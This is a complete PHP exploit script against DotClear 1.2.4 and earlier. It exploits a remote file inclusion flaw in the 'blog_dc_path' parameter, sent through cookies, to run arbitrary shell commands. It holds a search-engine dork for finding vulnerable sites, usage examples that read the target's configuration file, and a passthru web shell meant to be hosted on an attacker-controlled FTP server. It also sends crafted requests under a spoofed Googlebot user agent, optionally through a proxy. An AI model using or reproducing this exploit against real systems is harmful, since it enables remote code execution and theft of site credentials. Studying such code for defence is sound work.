DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion

[rgod]

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote 
inclusion\r\n";

echo "by rgod [EMAIL PROTECTED]";

echo "site: http://retrogod.altervista.org\r\n\r\n";;

echo "dork: \"propulsé par DotClear\" \"fil atom\" \"fil rss\" 
+commentaires\r\n\r\n";


/*

works with PHP5

register_globals=On,

allow_url_fopen=On

*/


if ($argc<5) {

echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";

echo "host:      target server (ip/hostname)\r\n";

echo "path:      path to dotclear\r\n";

echo "ftp:       a ftp location (without ending slash)\r\n";

echo "cmd:       a shell command\r\n";

echo "Options:\r\n";

echo "   -p[port]:    specify a port other than 80\r\n";

echo "   -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." target.com /dotclear/ ftp://username:[EMAIL PROTECTED] 
cat ./../conf/config.php\r\n";

echo "php ".$argv[0]." target.com /dotclear/ ftp://username:[EMAIL 
PROTECTED]/somedir ls -la -p81\r\n";

echo "php ".$argv[0]." target.com / ftp://username:[EMAIL PROTECTED] ls -la 
-P1.1.1.1:80\r\n";

echo "note, on remote ftp you need this code in 
themes/default/prepend.php:\r\n";

echo "<?php\r\n";

echo "if 
(get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";

echo "ini_set(\"max_execution_time\",0);\r\n";

echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";

echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";

echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";

echo "?>\r\n";

die;

}

/*

  software site: http://www.dotclear.net/


  vulnerable code in layout/prepend.php near lines 78-104:


...

# Variable de conf

$theme_path = $blog_dc_path.'/themes/';

$theme_uri = dc_app_url.'/themes/';

$img_path = dc_img_url;


# Définition du thème et de la langue

$__theme = dc_theme;

$__lang = dc_default_lang;


# Ajout des functions.php des plugins

$objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');

foreach ($objPlugins->getFunctions() as $pfunc) {

        require_once $pfunc;

}


# Définition du template

if (!is_dir($theme_path.$__theme)) {

        header('Content-type: text/plain');

        echo 'Le thème '.$__theme.' n\'existe pas';

        exit;

}


if (file_exists($theme_path.$__theme.'/template.php')) {

        $dc_template_file = $theme_path.$__theme.'/template.php';

} else {

        $dc_template_file = $theme_path.'default/template.php';

}

echo $dc_template_file;

# Prepend du template s'il existe

if (file_exists(dirname($dc_template_file).'/prepend.php')) {

        require dirname($dc_template_file).'/prepend.php';

}

...



$blog_dc_path var is not sanitized before to be used to include files,

on PHP5, because is_dir() and file_exists() funcs support ftp wrappers,

you can include an arbitrary prepend.php file in a themes/default/ folder

from a remote resource, poc:


http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:[EMAIL
 PROTECTED]&cmd=ls%20-la


                                                                              */

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);


function quick_dump($string)

{

  $result='';$exa='';$cont=0;

  for ($i=0; $i<=strlen($string)-1; $i++)

  {

   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

   {$result.="  .";}

   else

   {$result.="  ".$string[$i];}

   if (strlen(dechex(ord($string[$i])))==2)

   {$exa.=" ".dechex(ord($string[$i]));}

   else

   {$exa.=" 0".dechex(ord($string[$i]));}

   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

  }

 return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

  global $proxy, $host, $port, $html, $proxy_regex;

  if ($proxy=='') {

    $ock=fsockopen(gethostbyname($host),$port);

    if (!$ock) {

      echo 'No response from '.$host.':'.$port; die;

    }

  }

  else {

        $c = preg_match($proxy_regex,$proxy);

    if (!$c) {

      echo 'Not a valid proxy...';die;

    }

    $parts=explode(':',$proxy);

    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

    $ock=fsockopen($parts[0],$parts[1]);

    if (!$ock) {

      echo 'No response from proxy...';die;

        }

  }

  fputs($ock,$packet);

  if ($proxy=='') {

    $html='';

    while (!feof($ock)) {

      $html.=fgets($ock);

    }

  }

  else {

    $html='';

    while ((!feof($ock)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

      $html.=fread($ock,1);

    }

  }

  fclose($ock);

  #debug

  #echo "\r\n".$html;

}


$host=$argv[1];

$path=$argv[2];

$loc=$argv[3];

$cmd="";$port=80;$proxy="";


for ($i=4; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

  $port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

  $proxy=str_replace("-P","",$argv[$i]);

}

}

$loc=urlencode($loc);

$cmd=urlencode($cmd);


if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the 
path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


$packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, 
log this

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"*deli*"))

{echo "exploit succeeded...\r\n";

 $temp=explode("*deli*",$html);

 die($temp[1]);

}

else

{echo "exploit failed...\r\n";

 //debug

 echo $html;

}

?>


original url: http://retrogod.altervista.org/dotclear_124_php5_xpl.html